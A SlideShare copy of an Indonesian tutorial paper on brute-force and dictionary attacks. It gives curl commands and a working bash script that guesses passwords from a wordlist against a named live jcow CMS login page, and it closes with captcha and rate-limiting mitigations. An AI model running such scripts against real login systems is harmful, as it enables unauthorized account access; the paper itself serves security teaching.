SlideShare una empresa de Scribd logo
1 de 3
Descargar para leer sin conexión
Author : Linggar Primahastoko
Site : http://linx.web.id
Mail : x@linx.web.id


                       Brute force, Dictionary attack, and The Implementation


======Pendahuluan=======

Di dalam dunia yang mengutamakan tentang keamanan ini, hampir semua akses-akses penting
memiliki 2 hal yang saling berkaitan dan tidak bisa lepas, yaitu otentikasi dan otorisasi. Tentang
bagaimana masuk ke dalam sebuah sistem dan bagaimana cara dari sistem untuk mengenali pihak-
pihak yang boleh masuk dan tidak boleh masuk. Kedua hal ini sekarang lebih ditekankan pada sebuah
penggunaan username dan password.

Pada artikel kali ini, akan dibahas tentang apa itu teknik brute force (yang berlanjut ke masalah
dictionary attack) dan bagaimana implementasinya pada sebuah sistem yang vulnerable akan hal itu.

Apa itu brute force?

Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuah
sistem dengan memasukkan semua kata kunci yang memungkinkan. Lebih tepatnya penyerang akan
memasukkan satu-satu sebuah kata kunci (password) dari berbagai kemungkinan untuk mendapatkan
suatu akses. Biasanya brute force dilakukan untuk memasuki sebuah sistem dan juga digunakan untuk
memecahkan suatu enkripsi satu arah (one way hash).

Tetapi brute force ini memiliki kelemahan, yaitu karena banyaknya kemungkinan yang digunakan,
waktu pemrosesan membutuhkan waktu yang sangat lama, yang bahkan estimasi waktunya bisa
berjangka tahunan. Maka dari itu kemungkinan itu diperkecil dengan adanya sebuah teknik bernama
“dictionary attack”. Intinya, pembatasan yang dilakukan pada dictionary attack adalah seorang
penyerang membatasi apa saja kata-kata yang akan digunakan sebagai sebuah kata kunci.

======PoC=======

Kali ini,akan saya berikan sebuah contoh bagaimana melakukan brute force dengan cara yang sangat
sederhana. Sistem yang akan dicoba adalah sebuah CMS bernama jcow. Saya akan mencoba
melakukan brute force dengan instruksi pada unix.

Pertama, kita mendaftar pada sebuah situs yang menggunakan jcow CMS (pada kasus ini saya
menggunakan contoh http://salingsapa.com). Saya membuat dengan username 'linxnyoba' dan dengan
password 'blognyalinx' (tanpa quote). Lalu akan kita coba untuk masuk dengan user account yang salah
untuk mendapatkan parameter yang akan dijadikan sebagai sebuah kunci.
Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah.

Setelah itu kita melakukan sebuah instruksi post data dan pengolahan kata untuk mendapatkan kata
kunci wrong tadi.

sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=tes"
http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or
password</div","",n); print n}'
Wrong
sicuser@gate-linx:/data/linx/post$

Sekarang kita mencoba apa yang akan terjadi ketika data yang dikirimkan bernilai true.

sicuser@gate-linx:/data/linx/post$ curl -s -d
"username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost |
awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'
sicuser@gate-linx:/data/linx/post$

Tidak terjadi apa-apa ketika data yang dikirimkan bernilai true. Dari hal ini kita bisa mendapatkan
logika bahwa ketika instruksi di atas dikirimkan dengan data yang bernilai false, akan didapatkan kata
'Wrong', dan jika data yang dikirimkan bernilai true, tidak ada output yang muncul. Dari situ, kita bisa
membuat sebuah script sederhana (dalam kasus ini saya menggunakan shell scripting) untuk
mengimplementasikan sebuah dictionary attack pada sistem itu.

Kita buat sebuah wordlist dengan isi kata-kata yang yang akan kita coba masukkan. Lalu script
sederhana yang saya buat untuk implementasi dictionary attack sebagai berikut.

#!/bin/bash

for i in `cat wordlist.txt`
do
kunci=`curl -s -d "username=linxnyoba&password=$i"
http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or
password</div","",n); print n}'`
if [ "$kunci" = "Wrong" ];
then echo $i bukan password
else echo $i > password && exit;
fi
done

Setelah itu kita coba jalankan scriptnya

sicuser@gate-linx:/data/linx/post$         cat wordlist.txt
cobacobi
huahaha
blognyalinx
testing
testang
sicuser@gate-linx:/data/linx/post$         sh brute.sh
cobacobi bukan password
huahaha bukan password
sicuser@gate-linx:/data/linx/post$         ls
brute.sh password wordlist.txt
sicuser@gate-linx:/data/linx/post$         cat password
blognyalinx

Yak, kita dapatkan password dari user account yang telah kita buat tadi. Jadi untuk penjelasan
bagaimana script itu berjalan adalah, pertama kita buat perulangan proses login dengan menggunakan
password yang ada di dalam file wordlist.txt. Lalu kita buat sebuah penanda ketika data yang
dikirimkan itu salah, yaitu kata 'Wrong'. Setelah itu, untuk outputnya, ketika password yang
dimasukkan salah, akan ada output '$password bukan password', sedangkan ketika data yang
dimasukkan benar, akan muncul sebuah file password dengan isi password yang benar dan program
akan berhenti.

======Penutup=======

Pada kasus kali ini, sistem web yang vulnerable akan sebuah dictionary attack dan brute force,
kekurangan pada sistem adalah sistem captcha yang dapat memberikan perlindungan pada situs,
sehingga bot tidak dapat melakukan proses perulangan pada sebuah sistem. Selain itu pembatasan dapat
dilakukan dari sisi server, yaitu pada pembatasan jumlah request yang sama pada selang waktu yang
dekat, sehingga proses brute force relatif dapat dihindari.

Dari hal-hal di atas, dapat diambil sebuah kesimpulan, bahwa sebuah brute force dan dictionary attack
dapat dilakukan dengan cara yang sangat sederhana, tidak melihat software apa yang digunakan, karena
yang paling penting adalah tentang konsep dan logika yang digunakan.


======Reference=======

http://en.wikipedia.org/wiki/Brute-force_attack
http://en.wikipedia.org/wiki/Dictionary_attack
http://curl.haxx.se/docs/manpage.html

Más contenido relacionado

Destacado

oauth-for-credentials-security-in-rest-api-access
oauth-for-credentials-security-in-rest-api-accessoauth-for-credentials-security-in-rest-api-access
oauth-for-credentials-security-in-rest-api-accessidsecconf
 
Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...
 Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita... Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...
Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...idsecconf
 
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...idsecconf
 
Analisya hybrid cryptosystem pada Https (paper) - Aris
Analisya hybrid cryptosystem pada Https (paper) - ArisAnalisya hybrid cryptosystem pada Https (paper) - Aris
Analisya hybrid cryptosystem pada Https (paper) - Arisidsecconf
 
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...idsecconf
 
Firmware hacking, slash the pineapple for fun
Firmware hacking, slash the pineapple for funFirmware hacking, slash the pineapple for fun
Firmware hacking, slash the pineapple for funidsecconf
 
Write up idsecconf2015 online ctf
Write up idsecconf2015 online ctfWrite up idsecconf2015 online ctf
Write up idsecconf2015 online ctfidsecconf
 
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...idsecconf
 
The21stcenturybankjob 101014152255-phpapp02
The21stcenturybankjob 101014152255-phpapp02The21stcenturybankjob 101014152255-phpapp02
The21stcenturybankjob 101014152255-phpapp02idsecconf
 
Wispi: Mini Karma Router For Pentester - Rama Tri Nanda
Wispi: Mini Karma Router For Pentester - Rama Tri NandaWispi: Mini Karma Router For Pentester - Rama Tri Nanda
Wispi: Mini Karma Router For Pentester - Rama Tri Nandaidsecconf
 
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...idsecconf
 
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"idsecconf
 

Destacado (12)

oauth-for-credentials-security-in-rest-api-access
oauth-for-credentials-security-in-rest-api-accessoauth-for-credentials-security-in-rest-api-access
oauth-for-credentials-security-in-rest-api-access
 
Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...
 Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita... Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...
Rancang bangun sistem repository dokumen elektronik dengan menerapkan digita...
 
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...
Penetration tool berbasis sistem terdistribusi untuk analisa vulnerability pa...
 
Analisya hybrid cryptosystem pada Https (paper) - Aris
Analisya hybrid cryptosystem pada Https (paper) - ArisAnalisya hybrid cryptosystem pada Https (paper) - Aris
Analisya hybrid cryptosystem pada Https (paper) - Aris
 
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...
Implementasi Sistem Pengamanan E-Commerce - Samsul Huda, Amang Sudarsono, Mik...
 
Firmware hacking, slash the pineapple for fun
Firmware hacking, slash the pineapple for funFirmware hacking, slash the pineapple for fun
Firmware hacking, slash the pineapple for fun
 
Write up idsecconf2015 online ctf
Write up idsecconf2015 online ctfWrite up idsecconf2015 online ctf
Write up idsecconf2015 online ctf
 
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
 
The21stcenturybankjob 101014152255-phpapp02
The21stcenturybankjob 101014152255-phpapp02The21stcenturybankjob 101014152255-phpapp02
The21stcenturybankjob 101014152255-phpapp02
 
Wispi: Mini Karma Router For Pentester - Rama Tri Nanda
Wispi: Mini Karma Router For Pentester - Rama Tri NandaWispi: Mini Karma Router For Pentester - Rama Tri Nanda
Wispi: Mini Karma Router For Pentester - Rama Tri Nanda
 
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...
Doan P. Sinaga, Alex F. Manihuruk, Kevin G.A.T. Pardosi - Securing SCADA Syst...
 
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"
B.Noviansyah - “National Public Key Infrastructure: Friend or Foe?"
 

Similar a Bruteforce basic (paper) - linx

sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasi
sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasisim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasi
sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasiRicky Setiawan
 
Web Hacking (basic)
Web Hacking (basic)Web Hacking (basic)
Web Hacking (basic)Ammar WK
 
Web hacking-dvwa-publish-130131073605-phpapp01
Web hacking-dvwa-publish-130131073605-phpapp01Web hacking-dvwa-publish-130131073605-phpapp01
Web hacking-dvwa-publish-130131073605-phpapp01Jalil Mashab-Crew
 
05. session2 autentifikasi user
05. session2 autentifikasi user05. session2 autentifikasi user
05. session2 autentifikasi userDhanang Fitra
 
Basic Web Exploit Development
Basic Web Exploit DevelopmentBasic Web Exploit Development
Basic Web Exploit DevelopmentRiswanda N.S
 
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...yasminnavisa
 
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...PutriSari0697
 
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Sasi Ngatiningrum
 
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...EsTer Rajagukguk
 
Sriwahyuni w 1501047 uas_keamananjarkom
Sriwahyuni w 1501047 uas_keamananjarkomSriwahyuni w 1501047 uas_keamananjarkom
Sriwahyuni w 1501047 uas_keamananjarkomRudi Arif candra
 
Pertemuan04 mengamankansisteminformasi
Pertemuan04 mengamankansisteminformasiPertemuan04 mengamankansisteminformasi
Pertemuan04 mengamankansisteminformasiRoziq Bahtiar
 
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...ameliaangesti
 
Ancaman Keamanan Jaringan
Ancaman Keamanan JaringanAncaman Keamanan Jaringan
Ancaman Keamanan Jaringancandra358
 
Keamanan informasi
Keamanan informasiKeamanan informasi
Keamanan informasigino tugino
 
Investigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheInvestigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheMark Thalib
 
Belajar hacking website
Belajar hacking websiteBelajar hacking website
Belajar hacking websiteKamar Tidur
 
Belajar hacking-website-d
Belajar hacking-website-dBelajar hacking-website-d
Belajar hacking-website-dAde Tamin
 
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi KeamananSIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanannadiapuji98
 
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...Aurum Radiance
 

Similar a Bruteforce basic (paper) - linx (20)

sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasi
sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasisim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasi
sim. Hapzi Ali, Ricky Setiawan, , 43116110348, Keamanan sistem informasi
 
Web Hacking (basic)
Web Hacking (basic)Web Hacking (basic)
Web Hacking (basic)
 
Web hacking-dvwa-publish-130131073605-phpapp01
Web hacking-dvwa-publish-130131073605-phpapp01Web hacking-dvwa-publish-130131073605-phpapp01
Web hacking-dvwa-publish-130131073605-phpapp01
 
05. session2 autentifikasi user
05. session2 autentifikasi user05. session2 autentifikasi user
05. session2 autentifikasi user
 
Basic Web Exploit Development
Basic Web Exploit DevelopmentBasic Web Exploit Development
Basic Web Exploit Development
 
Login php mysql
Login php mysqlLogin php mysql
Login php mysql
 
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
 
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...
SIM, Putri Sarining Katrisna, Prof. Dr. Hapzi Ali, CMA, Keamanan Sistem Infor...
 
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
 
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
 
Sriwahyuni w 1501047 uas_keamananjarkom
Sriwahyuni w 1501047 uas_keamananjarkomSriwahyuni w 1501047 uas_keamananjarkom
Sriwahyuni w 1501047 uas_keamananjarkom
 
Pertemuan04 mengamankansisteminformasi
Pertemuan04 mengamankansisteminformasiPertemuan04 mengamankansisteminformasi
Pertemuan04 mengamankansisteminformasi
 
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
 
Ancaman Keamanan Jaringan
Ancaman Keamanan JaringanAncaman Keamanan Jaringan
Ancaman Keamanan Jaringan
 
Keamanan informasi
Keamanan informasiKeamanan informasi
Keamanan informasi
 
Investigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheInvestigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server Apache
 
Belajar hacking website
Belajar hacking websiteBelajar hacking website
Belajar hacking website
 
Belajar hacking-website-d
Belajar hacking-website-dBelajar hacking-website-d
Belajar hacking-website-d
 
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi KeamananSIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
 
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...
Perkenalan Keamanan Siber Offensive Security of SMAN 1 Karawang /w Aurumradia...
 

Más de idsecconf

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfidsecconf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...idsecconf
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfidsecconf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...idsecconf
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfidsecconf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...idsecconf
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfidsecconf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...idsecconf
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidadaidsecconf
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullahidsecconf
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaidsecconf
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...idsecconf
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwiantoidsecconf
 

Más de idsecconf (20)

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
